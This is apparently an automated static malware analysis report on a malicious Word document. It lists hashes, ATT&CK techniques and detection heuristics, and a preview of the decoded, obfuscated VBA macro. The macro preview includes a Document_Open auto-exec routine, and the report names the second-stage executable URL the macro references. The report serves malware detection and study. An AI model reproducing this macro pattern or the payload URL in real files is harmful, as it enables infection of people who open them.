Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 691bcdb38223889f…

MALICIOUS

Office (OLE)

131.0 KB Created: 2018-10-24 19:17:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: ba90ac9e77c329cfcc99dc90f81fccfa SHA-1: e3da46e8f6d07563e1fed0a3336036ed0a228245 SHA-256: 691bcdb38223889f1aa344656b75163af90b22749418b3c9e5005c202d1e9434
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that executes a Shell command. This command is obfuscated and contains a URL pointing to a second-stage executable. The Document_Open macro is triggered upon opening, initiating the download and execution of the payload.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sweetturningfirm.work/Remember.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22083 bytes
SHA-256: 0c884d0dd601268118292f20590cfb2f5e031af9877f6dc02bc6c4728753e2f8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 15 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const HiAZpQvityGAqaTbBwrSqUnLvEynTWAAKaqMncGOLE = 160483
Private Const eZSvEhFVJABKjOHhSYWevahwwEon6341 = 6
Const odlRNEUgKwJUySBugicNGtWhUmDrWzztS63 = 11
Private Const oaHFzZLnGpzDHXgkD = 4
Const AdKKwQBXyednNRaEkuUKpvKUjd849983534384170 = 6
Private Const UXQtVKmBIcNKwIgBPWMaovGDx160483 = 23
Const DRtJyjUtslSFfKIqW0 = 62
Private Const zPqzmyebBLAxJyCcR579109505129304955 = 45956
Const wZgbCUrTGOMloZCRGnu41 = 0
Private Const vOWqsCUejGXfsjDhJ45956 = 63
Const DFhMcSClXcMiaOcDLBkVYtrHAIpSUnaFgwOrlHndqnRtwBKcSqLB = 36
Private Const XGgfXxEHFFnfoRTdXdaKO1159 = 3
Const MTdkQjCGCdAMfFUExaokBuVJe109505129 = 43
Private Const LRvirXkalYaXdAWMc = 5
Const KfcmOITfzVeYRyTF767177764492 = 3
Private Const TwhCWDBxuMCngUEz036 = 84
Const QxXOHRKNEvBGhjfvn0152191 = 34257
Private Const VCTHVcUvYsZNGLZyu042201050384601581 = 49
Const olGXkSwWpIrzlQzEaAZ835343841 = 152191
Private Const naCnffAFVBAMBEFNG049 = 109505129
Const bWjCUlEfRmIQvqGuonpuKdxXMwuxsyy = 8317923
Private Const MJksBmRiOTVWYuvDU3071 = 8
Const gGVOnSLnhmMManr31327240 = 98
Private Const yVVZsxMKGjRRgYu = 6
Const xWRgOEfVCthfLqbsIbxnBIVjDtpYy6109075864246 = 8
Private Const ETLMajSTFRjItsNNapao8317923 = 92
Const mqyUSVzGDYSWJbE3 = 53617423
Private Const TjenyczXCkDEBww466730269340319 = 719
Const TFaytkZBxPgViinOf677 = 3
Private Const HjxmWiechxFWzNQ719 = 31327240
Const cDqCzPZHrkYbgwWUrzrYNQvMihCOrdzAWkZizGJdIHXzuSCSF = 2051108
Private Const UutsGmKamkwPmzVaUTGiMIdTSM4686 = 6
Const POlYFvUCZxHlmCpIcmR038460 = 13
Private Const yNvwSjifXEDcQRG = 2
Const vcNhTgWzBgAxwtLGqptEqJWhsLHdHQvxxR1050261409 = 6
Private Const OWDfhPCPLQaatauMBLrTS02051108 = 25
Const DQJxOdgYNMZxljY937217620 = 22010
Private Const yLPZzJrrSPVGMoQ04009820763090165 = 58
Const EYSZIKBePWOMqscMw83 = 937217620
Private Const hKlrNKKJpVtBJQP58 = 38460



Private Sub Document_Open()
Call uZXuHZibuUJgnWYXX
End Sub

Private Sub uZXuHZibuUJgnWYXX()
Dim rXgHhZSKmScKwHREvHkZ

Dim FIkWsqpvhodTJNNopNKBhxjCvy

Application.Run "JOdnSnNWO.MCYsBUtU"

Dim gOtSEwlmPvkojdOFdzrntEQ

Dim oXFlUxukUskBeGucySpZpV

End Sub




Attribute VB_Name = "JOdnSnNWO"
Const HiAZpQvityGAqaTbBwrSqUnLvEynTWAAKaqMncGOLE = 160483
Private Const eZSvEhFVJABKjOHhSYWevahwwEon6341 = 6
Const odlRNEUgKwJUySBugicNGtWhUmDrWzztS63 = 11
Private Const oaHFzZLnGpzDHXgkD = 4
Const AdKKwQBXyednNRaEkuUKpvKUjd849983534384170 = 6
Private Const UXQtVKmBIcNKwIgBPWMaovGDx160483 = 23
Const DRtJyjUtslSFfKIqW0 = 62
Private Const zPqzmyebBLAxJyCcR579109505129304955 = 45956
Const wZgbCUrTGOMloZCRGnu41 = 0
Private Const vOWqsCUejGXfsjDhJ45956 = 63
Const DFhMcSClXcMiaOcDLBkVYtrHAIpSUnaFgwOrlHndqnRtwBKcSqLB = 36
Private Const XGgfXxEHFFnfoRTdXdaKO1159 = 3
Const MTdkQjCGCdAMfFUExaokBuVJe109505129 = 43
Private Const LRvirXkalYaXdAWMc = 5
Const KfcmOITfzVeYRyTF767177764492 = 3
Private Const TwhCWDBxuMCngUEz036 = 84
Const QxXOHRKNEvBGhjfvn0152191 = 34257
Private Const VCTHVcUvYsZNGLZyu042201050384601581 = 49
Const olGXkSwWpIrzlQzEaAZ835343841 = 152191
Private Const naCnffAFVBAMBEFNG049 = 109505129
Const bWjCUlEfRmIQvqGuonpuKdxXMwuxsyy = 8317923
Private Const MJksBmRiOTVWYuvDU3071 = 8
Const gGVOnSLnhmMManr31327240 = 98
Private Const yVVZsxMKGjRRgYu = 6
Const xWRgOEfVCthfLqbsIbxnBIVjDtpYy6109075864246 = 8
Private Const ETLMajSTFRjItsNNapao8317923 = 92
Const mqyUSVzGDYSWJbE3 = 53617423
Private Const TjenyczXCkDEBww466730269340319 = 719
Const TFaytkZBxPgViinOf677 = 3
Private Const HjxmWiechxFWzNQ719 = 31327240
Const cDqCzPZHrkYbgwWUrzrYNQvMihCOrdzAWkZizGJdIHXzuSCSF = 2051108
Private Const UutsGmKamkwPmzVaUTGiMIdTSM4686 = 6
Const POlYFvUCZxHlmCpIcmR038460 = 13
Private Const yNvwSjifXEDcQRG = 2
Const vcNhTgWzBgAxwtLGqptEqJWhsLHdHQvxxR1050261409 = 6
Private Const OWDfhPCPLQaatauMBLrTS02051108 = 2
... (truncated)